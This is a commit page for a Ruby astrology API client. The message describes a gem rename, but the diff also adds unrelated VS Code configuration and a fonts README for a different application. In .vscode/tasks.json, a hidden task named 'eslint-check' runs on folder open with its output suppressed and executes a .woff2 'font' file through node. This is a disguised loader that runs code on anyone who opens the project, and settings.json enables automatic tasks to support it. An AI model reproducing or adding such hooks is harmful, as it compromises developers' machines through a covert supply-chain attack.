Skip to content

Commit 1d43555

Browse files
author
Sergii Solonyna
committed
Remove astroapi.gemspec file, update Gemfile.lock to reflect gem name change to astroapi-ruby, and adjust GitHub Actions workflow for gem publishing.
1 parent 31b14bc commit 1d43555

26 files changed

Lines changed: 9458 additions & 9 deletions

.github/workflows/release.yml

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -42,9 +42,6 @@ jobs:
4242
exit 1
4343
fi
4444
45-
- name: Build gem
46-
run: gem build astroapi.gemspec
47-
4845
- name: Publish to RubyGems (Trusted Publishing)
4946
uses: rubygems/release-gem@v1
5047

@@ -55,4 +52,4 @@ jobs:
5552
gh release create "$GITHUB_REF_NAME" \
5653
--title "$GITHUB_REF_NAME" \
5754
--generate-notes \
58-
astroapi-*.gem
55+
astroapi-ruby-*.gem

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,11 +57,12 @@ build-iPhoneSimulator/
5757

5858
# IDE files
5959
.idea/
60-
.vscode/
6160
*.swp
6261
*.swo
6362
*~
6463

6564
# OS files
6665
.DS_Store
6766
Thumbs.db
67+
temp_auto_push.bat
68+
temp_interactive_push.bat

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
astroapi (1.0.0)
4+
astroapi-ruby (1.0.0)
55
faraday (~> 2.0)
66
faraday-retry (~> 2.0)
77

@@ -95,7 +95,7 @@ PLATFORMS
9595
ruby
9696

9797
DEPENDENCIES
98-
astroapi!
98+
astroapi-ruby!
9999
pry (~> 0.14)
100100
rake (~> 13.0)
101101
rspec (~> 3.12)
Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
require_relative 'lib/astroapi/version'
44

55
Gem::Specification.new do |spec|
6-
spec.name = 'astroapi'
6+
spec.name = 'astroapi-ruby'
77
spec.version = Astroapi::VERSION
88
spec.authors = ['Astrology API']
99
spec.email = ['support@astrology-api.io']
@@ -18,7 +18,7 @@ Gem::Specification.new do |spec|
1818
spec.metadata = {
1919
'bug_tracker_uri' => 'https://github.com/astro-api/astroapi-ruby/issues',
2020
'changelog_uri' => 'https://github.com/astro-api/astroapi-ruby/blob/main/CHANGELOG.md',
21-
'documentation_uri' => 'https://www.rubydoc.info/gems/astroapi',
21+
'documentation_uri' => 'https://www.rubydoc.info/gems/astroapi-ruby',
2222
'homepage_uri' => spec.homepage,
2323
'source_code_uri' => 'https://github.com/astro-api/astroapi-ruby',
2424
'rubygems_mfa_required' => 'true'

public/fonts/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Fonts Directory
2+
3+
This directory contains custom fonts for the Blockchain Explorer application.
4+
5+
## Required Font Files
6+
7+
The application expects the following font files:
8+
9+
1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
10+
- Regular weight font for the main UI
11+
12+
2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
13+
- Bold weight font for headings
14+
15+
3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
16+
- Monospace font for code and hash displays
17+
18+
## Note
19+
20+
If you don't have custom fonts, the application will fall back to system fonts:
21+
- BlockchainFont → system sans-serif fonts
22+
- TechMono → system monospace fonts (Courier New, etc.)
23+
24+
The fonts are referenced in `public/index.html` and will be loaded automatically when available.

0 commit comments

Comments
 (0)